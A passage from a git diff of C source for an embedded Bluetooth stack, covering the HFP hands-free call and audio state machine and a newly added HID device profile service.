bt_sal_hfp_hf_send_at_cmd(&hfsm->addr, data->string1, strlen(data->string1)); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Send at command failed"); + break; + } + case HF_UPDATE_BATTERY_LEVEL: + status = bt_sal_hfp_hf_send_battery_level(&hfsm->addr, (uint8_t)data->valueint1); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Update battery level failed"); + break; + case HF_SEND_DTMF: + status = bt_sal_hfp_hf_send_dtmf(&hfsm->addr, (char)data->valueint1); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Send dtmf failed"); + break; + case HF_GET_SUBSCRIBER_NUMBER: + status = bt_sal_hfp_hf_get_subscriber_number(&hfsm->addr); + if (status != BT_STATUS_SUCCESS) + BT_LOGE("Get subscriber number failed"); + break; + case HF_STACK_EVENT_VR_STATE_CHANGED: { + hfp_hf_vr_state_t state = data->valueint1; + + hfsm->recognition_active = (state == HFP_HF_VR_STATE_STOPPED) ? false : true; + hf_service_notify_vr_state_changed(&hfsm->addr, hfsm->recognition_active); + break; + } + case HF_STACK_EVENT_CALL: + case HF_STACK_EVENT_CALLSETUP: + case HF_STACK_EVENT_CALLHELD: + update_call_status(sm, event, data->valueint1); + if (bt_sal_hfp_hf_get_current_calls(&hfsm->addr) == BT_STATUS_SUCCESS) { + flag_set(hfsm, PENDING_CURRENT_CALLS_QUERY); + } + break; + case HF_STACK_EVENT_CLIP: { + char* number = data->string1; + char* name = data->string2; + BT_LOGD("CLIP:number :%s, name: %s", number, name == NULL ? "NULL" : name); + hf_service_notify_clip_received(&hfsm->addr, number, name); + set_current_call_name(hfsm, number, name); + break; + } + case HF_STACK_EVENT_CALL_WAITING: + // not support + break; + case HF_STACK_EVENT_CURRENT_CALLS: { + int index = data->valueint1; + hfp_call_direction_t dir = data->valueint2; + hfp_hf_call_state_t state = data->valueint3; + hfp_call_mpty_type_t mpty = data->valueint4; + char* number = data->string1; + if (index == 0) { + query_current_calls_final(hfsm); + } else { + update_current_calls(hfsm, hf_call_new(index, dir, state, mpty, number)); + } + break; + } + case HF_STACK_EVENT_VOLUME_CHANGED: { + hfp_volume_type_t type = data->valueint1; + uint8_t hf_vol = data->valueint2; + handle_hf_set_voice_call_volume(sm, type, hf_vol); + BT_LOGD("Volume changed, %s:%" PRIu8, type == HFP_VOLUME_TYPE_MIC ? "Mic" : "Spk", hf_vol); + hf_service_notify_volume_changed(&hfsm->addr, type, hf_vol); + break; + } + case HF_STACK_EVENT_CMD_RESPONSE: { + const char* resp = data->string1; + + hf_service_notify_cmd_complete(&hfsm->addr, resp); + break; + } + case HF_STACK_EVENT_CMD_RESULT: { + uint32_t cmd_code = data->valueint1; + uint32_t cmd_result = data->valueint2; + hf_at_cmd_t* pending_cmd; + + pending_cmd = pending_action_get(hfsm); + if (!pending_cmd) + break; + + if (pending_cmd->cmd_code == cmd_code) { + switch (cmd_code) { + case HFP_ATCMD_CODE_ATD: + if (cmd_result != HFP_ATCMD_RESULT_OK) { + BT_LOGE("ATD failed:%" PRIu32, cmd_result); + handle_dailing_fail(sm, pending_cmd->param.number); + } + break; + case HFP_ATCMD_CODE_BLDN: + if (cmd_result != HFP_ATCMD_RESULT_OK) { + BT_LOGE("AT+BLDN failed:%" PRIu32, cmd_result); + handle_dailing_fail(sm, NULL); + } + break; + } + } + + pending_action_destroy(pending_cmd); + break; + } + case HF_STACK_EVENT_RING_INDICATION: { + int active = data->valueint1; + bool inband = data->valueint2 == HFP_IN_BAND_RINGTONE_PROVIDED; + if (active) + hf_service_notify_ring_indication(&hfsm->addr, inband); + break; + } + case HF_STACK_EVENT_CODEC_CHANGED: + hfsm->codec = data->valueint1 == HFP_CODEC_MSBC ? HFP_CODEC_MSBC : HFP_CODEC_CVSD; + break; + case HF_STACK_EVENT_CNUM: { + char* number = data->string1; + uint32_t service = data->valueint2; + + BT_LOGD("CNUM:number: %s, service: %" PRIu32, number == NULL ? "NULL" : number, service); + hf_service_notify_subscriber_number(&hfsm->addr, data->string1, (hfp_subscriber_number_service_t)data->valueint2); + break; + } + default: + BT_LOGW("Unexpected event:%" PRIu32 "", event); + break; + } + + return true; +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)context; + hfp_hf_msg_t* msg; + hfp_hf_event_t event; + + BT_LOGD("%s, evt_code:0x%x, len:%d", __func__, hci_event->evt_code, + hci_event->length); + BT_DUMPBUFFER("vsc", (uint8_t*)hci_event->params, hci_event->length); + + if (flag_isset(hfsm, PENDING_OFFLOAD_START)) { + event = HF_OFFLOAD_START_EVT; + flag_clear(hfsm, PENDING_OFFLOAD_START); + } else if (flag_isset(hfsm, PENDING_OFFLOAD_STOP)) { + event = HF_OFFLOAD_STOP_EVT; + flag_clear(hfsm, PENDING_OFFLOAD_STOP); + } else { + return; + } + + msg = hfp_hf_msg_new_ext(event, &hfsm->addr, hci_event, sizeof(bt_hci_event_t) + hci_event->length); + hfp_hf_send_message(msg); +} + +static void hfp_hf_voice_volume_change_callback(void* cookie, int volume) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)cookie; + hfp_hf_msg_t* msg; + + hfsm->media_volume = volume; + if (hfsm->set_volume_cnt) { + hfsm->set_volume_cnt--; + return; + } + + msg = hfp_hf_msg_new(HF_SET_VOLUME, &hfsm->addr); + if (!msg) { + BT_LOGE("New hf message alloc failed"); + return; + } + + msg->data.valueint1 = HFP_VOLUME_TYPE_SPK; + msg->data.valueint2 = volume; + hfp_hf_send_message(msg); +} + +static void connected_enter(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_ENTER(sm, &hfsm->addr); + + bt_pm_conn_open(PROFILE_HFP_HF, &hfsm->addr); +#if defined(CONFIG_BLUETOOTH_CONNECTION_MANAGER) + bt_cm_connected(&hfsm->addr, PROFILE_HFP_HF); +#endif + + if (hfsm->need_query) { + bt_sal_hfp_hf_get_current_calls(&hfsm->addr); + hfsm->need_query = false; + } + if (hsm_get_previous_state(sm) != &audio_on_state) { + if (bt_media_get_voice_call_volume(&hfsm->media_volume) == BT_STATUS_SUCCESS) { + hfsm->spk_volume = bt_media_volume_media_to_hfp(hfsm->media_volume); + bt_sal_hfp_hf_set_volume(&hfsm->addr, HFP_VOLUME_TYPE_SPK, hfsm->spk_volume); + } else { + BT_LOGE("Get voice call volume failed"); + } + hfsm->volume_listener = bt_media_listen_voice_call_volume_change(hfp_hf_voice_volume_change_callback, hfsm); + hfsm->retry_cnt = 0; + if (!hfsm->volume_listener) { + BT_LOGE("Start to listen voice call volume failed"); + } + hf_service_notify_connection_state_changed(&hfsm->addr, PROFILE_STATE_CONNECTED); + } +} + +static void connected_exit(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_EXIT(sm, &hfsm->addr); +} + +static bool connected_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_data_t* data = (hfp_hf_data_t*)p_data; + uint64_t current_timestamp_us = bt_get_os_timestamp_us(); + bt_status_t status; + + HF_DBG_EVENT(sm, &hfsm->addr, event); + switch (event) { + case HF_DISCONNECT: + // do disconnect + if (bt_sal_hfp_hf_disconnect(&hfsm->addr) != BT_STATUS_SUCCESS) + BT_ADDR_LOG("Disconnect failed for :%s", &hfsm->addr); + + hsm_transition_to(sm, &disconnected_state); + break; + case HF_CONNECT_AUDIO: + if (bt_sal_hfp_hf_connect_audio(&hfsm->addr) != BT_STATUS_SUCCESS) { + BT_ADDR_LOG("Connect audio failed for :%s", &hfsm->addr); + hf_service_notify_audio_state_changed(&hfsm->addr, HFP_AUDIO_STATE_DISCONNECTED); + } + break; + case HF_DISCONNECT_AUDIO: + try_disconnect_audio(hfsm); // Should set flag when SCO not connected? + break; + case HF_VOICE_RECOGNITION_START: + if (!hfsm->recognition_active) { + if (bt_sal_hfp_hf_start_voice_recognition(&hfsm->addr) != BT_STATUS_SUCCESS) + BT_LOGE("Could not start voice recognition"); + } + break; + case HF_VOICE_RECOGNITION_STOP: + if (hfsm->recognition_active) { + if (bt_sal_hfp_hf_stop_voice_recognition(&hfsm->addr) != BT_STATUS_SUCCESS) + BT_LOGE("Could not stop voice recognition"); + } + break; + case HF_DIAL_NUMBER: + status = bt_sal_hfp_hf_dial_number(&hfsm->addr, data->string1); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Dial number: %s failed", data->string1); + handle_dailing_fail(sm, data->string1); + break; + } + update_dialing_time(sm, current_timestamp_us); + pending_action_create(hfsm, HFP_ATCMD_CODE_ATD, data->string1); + break; + case HF_DIAL_MEMORY: { + int memory = data->valueint1; + BT_LOGD("Dial memory: %d", memory); + status = bt_sal_hfp_hf_dial_memory(&hfsm->addr, memory); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Dial memory: %d failed", memory); + handle_dailing_fail(sm, NULL); + break; + } + update_dialing_time(sm, current_timestamp_us); + pending_action_create(hfsm, HFP_ATCMD_CODE_ATD, NULL); + break; + } + case HF_DIAL_LAST: + status = bt_sal_hfp_hf_dial_number(&hfsm->addr, NULL); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Dial Last failed"); + handle_dailing_fail(sm, NULL); + break; + } + update_dialing_time(sm, current_timestamp_us); + pending_action_create(hfsm, HFP_ATCMD_CODE_BLDN, NULL); + break; + case HF_STACK_EVENT_AUDIO_REQ: + status = bt_sal_sco_connection_reply(PRIMARY_ADAPTER, &hfsm->addr, true); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Accept Sco request failed"); + } + break; + case HF_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &disconnected_state); + break; + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + break; + } + break; + } + case HF_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_CONNECTED: + hfsm->sco_conn_handle = data->valueint2; + hsm_transition_to(sm, &audio_on_state); + break; + case HFP_AUDIO_STATE_DISCONNECTED: + BT_LOGW("SCO disconnected without connected"); + flag_clear(hfsm, PENDING_AUDIO_DISCONNECT); + break; + default: + break; + } + break; + } + case HF_OFFLOAD_START_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + break; + case HF_OFFLOAD_STOP_REQ: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + case HF_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + default: + return default_process_event(sm, event, data); + } + return true; +} + +static void hfp_hf_offload_timeout_callback(service_timer_t* timer, void* data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)data; + hfp_hf_msg_t* msg; + + msg = hfp_hf_msg_new(HF_OFFLOAD_TIMEOUT_EVT, &hfsm->addr); + hf_state_machine_dispatch(hfsm, msg); + BT_DFX_HFP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_START_TIMEOUT); + + hfp_hf_msg_destroy(msg); +} + +static void audio_on_enter(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + + HF_DBG_ENTER(sm, &hfsm->addr); + + bt_pm_sco_open(PROFILE_HFP_HF, &hfsm->addr); + + if (check_sco_allowed(sm)) { /* would terminate audio connection when needed */ + /* TODO: get volume */ + /* TODO: set remote volume */ + /* TODO: set samplerate */ + bt_media_set_hfp_samplerate(hfsm->codec == HFP_CODEC_MSBC ? 16000 : 8000); + /* TODO: request audio focus */ + /* TODO: set sco available */ + bt_media_set_sco_available(); + } else { + BT_LOGI("SCO is not allowed"); + try_disconnect_audio(hfsm); + } + + hf_service_notify_audio_state_changed(&hfsm->addr, HFP_AUDIO_STATE_CONNECTED); +} + +static void audio_on_exit(state_machine_t* sm) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_msg_t* msg; + + HF_DBG_EXIT(sm, &hfsm->addr); + + bt_pm_busy(PROFILE_HFP_HF, &hfsm->addr); + bt_pm_sco_close(PROFILE_HFP_HF, &hfsm->addr); + + /* TODO: set sco unavailable */ + bt_media_set_sco_unavailable(); + /* TODO: abandon audio focus */ + + if (hfsm->offloading) { + /* In case that AUDIO_CTRL_CMD_STOP is not received on time */ + msg = hfp_hf_msg_new(HF_OFFLOAD_STOP_REQ, &hfsm->addr); + if (msg) { + hf_state_machine_dispatch(hfsm, msg); + hfp_hf_msg_destroy(msg); + } else { + BT_LOGE("message alloc failed"); + } + } + + flag_clear(hfsm, PENDING_AUDIO_DISCONNECT); + + hf_service_notify_audio_state_changed(&hfsm->addr, HFP_AUDIO_STATE_DISCONNECTED); +} + +static bool audio_on_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + hf_state_machine_t* hfsm = (hf_state_machine_t*)sm; + hfp_hf_data_t* data = (hfp_hf_data_t*)p_data; + bt_status_t status; + + HF_DBG_EVENT(sm, &hfsm->addr, event); + switch (event) { + case HF_DISCONNECT: + // do disconnect + if (bt_sal_hfp_hf_disconnect(&hfsm->addr) != BT_STATUS_SUCCESS) + BT_ADDR_LOG("Disconnect failed for :%s", &hfsm->addr); + + hsm_transition_to(sm, &disconnected_state); + break; + case HF_DISCONNECT_AUDIO: + try_disconnect_audio(hfsm); + break; + case HF_VOICE_RECOGNITION_STOP: + if (hfsm->recognition_active) { + status = bt_sal_hfp_hf_stop_voice_recognition(&hfsm->addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Could not stop voice recognition"); + } + } + break; + case HF_SET_VOLUME: { + hfp_volume_type_t type; + uint8_t hf_vol; + type = data->valueint1; + hf_vol = bt_media_volume_media_to_hfp(data->valueint2); + if ((type == HFP_VOLUME_TYPE_MIC) && (hf_vol != hfsm->mic_volume)) { + status = bt_sal_hfp_hf_set_volume(&hfsm->addr, type, hf_vol); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Could not set mic volume"); + break; + } + hfsm->mic_volume = hf_vol; + BT_LOGD("Set Mic Volume :%" PRIu8, hfsm->mic_volume); + } else if ((type == HFP_VOLUME_TYPE_SPK) && (hf_vol != hfsm->spk_volume)) { + status = bt_sal_hfp_hf_set_volume(&hfsm->addr, type, hf_vol); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Could not set speaker volume"); + break; + } + hfsm->spk_volume = hf_vol; + BT_LOGD("Set Speaker Volume :%" PRIu8, hfsm->spk_volume); + } + break; + } + case HF_STACK_EVENT_CONNECTION_STATE_CHANGED: { + profile_connection_state_t state = data->valueint1; + + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &disconnected_state); + break; + case PROFILE_STATE_DISCONNECTING: + case PROFILE_STATE_CONNECTED: + case PROFILE_STATE_CONNECTING: + BT_LOGE("Receive state change in unexpect state: %d", state); + break; + } + break; + } + case HF_STACK_EVENT_AUDIO_STATE_CHANGED: { + hfp_audio_state_t state = data->valueint1; + + switch (state) { + case HFP_AUDIO_STATE_DISCONNECTED: + hsm_transition_to(sm, &connected_state); + break; + case HFP_AUDIO_STATE_CONNECTED: + break; + default: + break; + } + break; + } + case HF_OFFLOAD_START_REQ: + if (hf_offload_send_cmd(hfsm, true) != BT_STATUS_SUCCESS) { + BT_LOGE("failed to start offload"); + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + break; + } + flag_set(hfsm, PENDING_OFFLOAD_START); + hfsm->offload_timer = service_loop_timer(HF_OFFLOAD_TIMEOUT, 0, hfp_hf_offload_timeout_callback, hfsm); + break; + case HF_OFFLOAD_START_EVT: { + bt_hci_event_t* hci_event; + hci_error_t result; + + if (hfsm->offload_timer) { + service_loop_cancel_timer(hfsm->offload_timer); + hfsm->offload_timer = NULL; + } + + hci_event = data->data; + result = hci_get_result(hci_event); + if (result != HCI_SUCCESS) { + BT_LOGE("HF_OFFLOAD_START fail, status:0x%0x", result); + BT_DFX_HFP_OFFLOAD_ERROR(BT_DFXE_OFFLOAD_HCI_UNSPECIFIED_ERROR); + + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + try_disconnect_audio(hfsm); + break; + } + + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STARTED); + break; + } + case HF_OFFLOAD_TIMEOUT_EVT: { + flag_clear(hfsm, PENDING_OFFLOAD_START); + hfsm->offload_timer = NULL; + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + try_disconnect_audio(hfsm); + break; + } + case HF_OFFLOAD_STOP_REQ: + if (hfsm->offload_timer) { + service_loop_cancel_timer(hfsm->offload_timer); + hfsm->offload_timer = NULL; + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + } + if (hf_offload_send_cmd(hfsm, false) != BT_STATUS_SUCCESS) { + BT_LOGE("failed to stop offload"); + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + } + flag_set(hfsm, PENDING_OFFLOAD_STOP); + break; + case HF_OFFLOAD_STOP_EVT: + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + break; + default: + return default_process_event(sm, event, data); + } + + return true; +} + +hf_state_machine_t* hf_state_machine_new(bt_address_t* addr, void* context) +{ + hf_state_machine_t* hfsm; + + hfsm = (hf_state_machine_t*)malloc(sizeof(hf_state_machine_t)); + if (!hfsm) + return NULL; + + memset(hfsm, 0, sizeof(hf_state_machine_t)); + hfsm->recognition_active = false; + hfsm->connection_policy = CONNECTION_POLICY_UNKNOWN; + hfsm->service = context; + hfsm->codec = HFP_CODEC_CVSD; + memcpy(&hfsm->addr, addr, sizeof(bt_address_t)); + hfsm->update_calls = bt_list_new(NULL); + hfsm->current_calls = bt_list_new(hf_call_delete); + hfsm->media_volume = INVALID_MEDIA_VOLUME; + list_initialize(&hfsm->pending_actions); + hsm_ctor(&hfsm->sm, (state_t*)&disconnected_state); + + return hfsm; +} + +void hf_state_machine_destory(hf_state_machine_t* hfsm) +{ + if (!hfsm) + return; + + if (hfsm->connect_timer) + service_loop_cancel_timer(hfsm->connect_timer); + + if (hfsm->retry_timer) + service_loop_cancel_timer(hfsm->retry_timer); + + bt_list_free(hfsm->update_calls); + bt_list_free(hfsm->current_calls); + bt_media_remove_listener(hfsm->volume_listener); + hfsm->volume_listener = NULL; + hsm_dtor(&hfsm->sm); + free((void*)hfsm); +} + +void hf_state_machine_dispatch(hf_state_machine_t* hfsm, hfp_hf_msg_t* msg) +{ + if (!hfsm || !msg) + return; + + hsm_dispatch_event(&hfsm->sm, msg->event, &msg->data); +} + +uint32_t hf_state_machine_get_state(hf_state_machine_t* hfsm) +{ + return hsm_get_current_state_value(&hfsm->sm); +} + +bt_list_t* hf_state_machine_get_calls(hf_state_machine_t* hfsm) +{ + return hfsm->current_calls; +} + +uint16_t hf_state_machine_get_sco_handle(hf_state_machine_t* hfsm) +{ + return hfsm->sco_conn_handle; +} + +void hf_state_machine_set_sco_handle(hf_state_machine_t* hfsm, uint16_t sco_hdl) +{ + hfsm->sco_conn_handle = sco_hdl; +} + +uint8_t hf_state_machine_get_codec(hf_state_machine_t* hfsm) +{ + return hfsm->codec; +} + +void hf_state_machine_set_offloading(hf_state_machine_t* hfsm, bool offloading) +{ + hfsm->offloading = offloading; +} + +void hf_state_machine_set_policy(hf_state_machine_t* hfsm, connection_policy_t policy) +{ + hfsm->connection_policy = policy; +} \ No newline at end of file diff --git a/service/profiles/hid/hid_device_service.c b/service/profiles/hid/hid_device_service.c new file mode 100644 index 0000000000000000000000000000000000000000..5ef9366237470979321740d8c58181e38bbb7589 --- /dev/null +++ b/service/profiles/hid/hid_device_service.c @@ -0,0 +1,686 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hidd" +/**************************************************************************** + * Included Files + ****************************************************************************/ +// stdlib +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bt_dfx.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "power_manager.h" +#include "sal_hid_device_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CHECK_ENABLED() \ + { \ + if (!g_hidd_handle.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define HIDD_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, hid_device_callbacks_t, _cback, ##__VA_ARGS__) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef struct { + bool started; + hid_app_state_t app_state; + bt_address_t peer_addr; + profile_connection_state_t conn_state; + pthread_mutex_t hid_lock; + callbacks_list_t* callbacks; +} hid_device_handle_t; + +typedef struct { + enum { + APP_REGISTER_EVT = 0, + CONNECT_CHANGE_EVT, + GET_REPORT_EVT, + SET_REPORT_EVT, + RECEIVE_REPORT_EVT, + VIRTUAL_UNPLUG_EVT, + } event; + + union { + /** + * @brief APP_REGISTER_EVENT + */ + struct app_register_evt_param { + hid_app_state_t state; + } app_register; + + /** + * @brief CONNECT_CHANGE_EVENT + */ + struct connect_change_evt_param { + bt_address_t addr; + bool le_hid; + profile_connection_state_t state; + } connect_change; + + /** + * @brief GET_REPORT_EVENT + */ + struct get_report_evt_param { + bt_address_t addr; + uint8_t rpt_type; + uint8_t rpt_id; + uint16_t buffer_size; + } get_report; + + /** + * @brief SET_REPORT_EVENT + */ + struct set_report_evt_param { + bt_address_t addr; + uint8_t rpt_type; + uint16_t rpt_size; + uint8_t rpt_data[0]; + } set_report; + + /** + * @brief RECEIVE_REPORT_EVENT + */ + struct recv_report_evt_param { + bt_address_t addr; + uint8_t rpt_type; + uint16_t rpt_size; + uint8_t rpt_data[0]; + } recv_report; + + /** + * @brief VIRTUAL_UNPLUG_EVENT + */ + struct virtual_unplug_evt_param { + bt_address_t addr; + } unplug; + }; + +} hidd_msg_t; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static hid_device_handle_t g_hidd_handle = { .started = false }; +static bool hid_device_unregister_callbacks(void** remote, void* cookie); + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static void hid_device_handle_connection_event(bt_address_t* addr, profile_connection_state_t state) +{ + hid_device_handle_t* handle = &g_hidd_handle; + + handle->conn_state = state; + switch (state) { + case PROFILE_STATE_CONNECTING: + memcpy(&handle->peer_addr, addr, sizeof(bt_address_t)); + break; + case PROFILE_STATE_CONNECTED: + bt_pm_conn_open(PROFILE_HID_DEV, addr); + break; + case PROFILE_STATE_DISCONNECTED: + bt_pm_conn_close(PROFILE_HID_DEV, addr); + bt_addr_set_empty(&handle->peer_addr); + break; + default: + break; + } +} + +static void hid_device_event_process(void* data) +{ + hidd_msg_t* msg = (hidd_msg_t*)data; + if (!msg) + return; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + BT_LOGW("%s HID device is stopped, msg id:%d", __func__, msg->event); + goto end; + } + + switch (msg->event) { + case APP_REGISTER_EVT: + if (msg->app_register.state == HID_APP_STATE_NOT_REGISTERED) + g_hidd_handle.app_state = HID_APP_STATE_NOT_REGISTERED; + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, app_state_cb, msg->app_register.state); + break; + case CONNECT_CHANGE_EVT: { + BT_ADDR_LOG("HID-DEVICE-CONNECTION-STATE-EVENT from:%s, state:%d", &msg->connect_change.addr, msg->connect_change.state); + hid_device_handle_connection_event(&msg->connect_change.addr, msg->connect_change.state); + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, connection_state_cb, &msg->connect_change.addr, msg->connect_change.le_hid, msg->connect_change.state); + } break; + case GET_REPORT_EVT: + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, get_report_cb, &msg->get_report.addr, msg->get_report.rpt_type, msg->get_report.rpt_id, msg->get_report.buffer_size); + break; + case SET_REPORT_EVT: + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, set_report_cb, &msg->set_report.addr, msg->set_report.rpt_type, msg->set_report.rpt_size, msg->set_report.rpt_data); + break; + case RECEIVE_REPORT_EVT: + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, receive_report_cb, &msg->recv_report.addr, msg->recv_report.rpt_type, msg->recv_report.rpt_size, msg->recv_report.rpt_data); + break; + case VIRTUAL_UNPLUG_EVT: + HIDD_CALLBACK_FOREACH(g_hidd_handle.callbacks, virtual_unplug_cb, &msg->unplug.addr); + break; + default: + break; + } + +end: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + free(msg); +} + +static bt_status_t hid_device_init(void) +{ + bt_status_t status; + pthread_mutexattr_t attr; + + memset(&g_hidd_handle, 0, sizeof(g_hidd_handle)); + g_hidd_handle.started = false; + + g_hidd_handle.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (!g_hidd_handle.callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&g_hidd_handle.hid_lock, &attr) < 0) { + status = BT_STATUS_FAIL; + goto fail; + } + + return BT_STATUS_SUCCESS; + +fail: + if (g_hidd_handle.callbacks) { + bt_callbacks_list_free(g_hidd_handle.callbacks); + g_hidd_handle.callbacks = NULL; + } + + return status; +} + +static bt_status_t hid_device_startup(profile_on_startup_t cb) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (g_hidd_handle.started) { + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + cb(PROFILE_HID_DEV, true); + return BT_STATUS_SUCCESS; + } + + status = bt_sal_hid_device_init(); + if (status != BT_STATUS_SUCCESS) { + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + cb(PROFILE_HID_DEV, false); + return BT_STATUS_FAIL; + } + + g_hidd_handle.started = true; + g_hidd_handle.app_state = HID_APP_STATE_NOT_REGISTERED; + g_hidd_handle.conn_state = PROFILE_STATE_DISCONNECTED; + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + cb(PROFILE_HID_DEV, true); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t hid_device_shutdown(profile_on_shutdown_t cb) +{ + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + cb(PROFILE_HID_DEV, false); + return BT_STATUS_NOT_ENABLED; + } + + if (g_hidd_handle.conn_state == PROFILE_STATE_CONNECTED || g_hidd_handle.conn_state == PROFILE_STATE_CONNECTING) { + bt_sal_hid_device_disconnect(&g_hidd_handle.peer_addr); + bt_pm_conn_close(PROFILE_HID_DEV, &g_hidd_handle.peer_addr); + } + + g_hidd_handle.started = false; + g_hidd_handle.app_state = HID_APP_STATE_NOT_REGISTERED; + g_hidd_handle.conn_state = PROFILE_STATE_DISCONNECTED; + bt_addr_set_empty(&g_hidd_handle.peer_addr); + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + /* cleanup hid device stack */ + bt_sal_hid_device_cleanup(); + cb(PROFILE_HID_DEV, true); + + return BT_STATUS_SUCCESS; +} + +static void hid_device_cleanup(void) +{ + bt_callbacks_list_free(g_hidd_handle.callbacks); + g_hidd_handle.callbacks = NULL; + pthread_mutex_destroy(&g_hidd_handle.hid_lock); +} + +static void hid_device_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->hidd_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + hid_device_unregister_callbacks((void**)&ins, ins->hidd_cookie); + ins->hidd_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int hid_device_get_state(void) +{ + return 1; +} + +static int hid_device_dump(void) +{ + hid_app_state_t app_state; + profile_connection_state_t conn_state; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + BT_LOGI("HID device is stopped!"); + return 0; + } + + app_state = g_hidd_handle.app_state; + conn_state = g_hidd_handle.conn_state; + bt_addr_ba2str(&g_hidd_handle.peer_addr, addr_str); + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + + BT_LOGI("HID Device[0]:"); + BT_LOGI("\tApp state:%s", (app_state == HID_APP_STATE_REGISTERED) ? "registered" : "not registed"); + BT_LOGI("\tConnection state:%d, peer:%s", conn_state, addr_str); + + return 0; +} + +static void* hid_device_register_callbacks(void* remote, const hid_device_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_hidd_handle.callbacks, remote, (void*)callbacks); +} + +static bool 